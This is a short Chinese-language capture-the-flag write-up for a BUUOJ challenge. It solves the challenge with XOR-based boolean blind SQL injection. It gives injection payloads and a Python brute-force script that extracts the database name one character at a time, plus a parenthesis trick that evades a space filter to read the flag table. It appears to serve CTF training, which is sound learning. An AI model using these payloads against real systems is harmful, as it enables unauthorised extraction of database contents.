有返回 ,基于布尔得盲注
这里用到异或注入(个人喜欢这样用)
1^0 返回 Hello, glzjin wants a girlfriend.
1^1 返回 Error Occured When Fetch Result.
(1)^(length(database())>11) 根据返回得到后面语句为假,但是>10返回真,数据库长度为11
上脚本
import requests
import string
str=string.ascii_lowercase+string.ascii_uppercase+string.digits+'!@#$%^&*()_+'
url='http://5f73bc57-8da1-4611-8994-3e7796120777.node3.buuoj.cn/index.php'
db_name=''
flag="Error Occured When Fetch Result."
for i in range(1,12):
for str1 in str:
data="(1)^(substr(database(),%d,1)='%s')"%(i,str1)
key={'id':data}
r=requests.post(url,data=key).text
if flag in r:
db_name=db_name+str1
print(db_name+" is")
break
else:
print(str1+" is not")
表名和列名题目都有提示都是flag
但是在跑长度是发现有些被过滤了
字母+'空格'+字母 被过滤
这里直接用()去绕过
(1)^(length((select(flag)from(ctftraining.flag)))>42)得到表厂为42
然后只需要将上面脚本 data换一下就好了
跑出答案 看kk师傅wp说好多都被过滤了 没去尝试,我也不知道那些被过滤,只知道空格加字母,主要是因为这道题直接告诉了表名和列名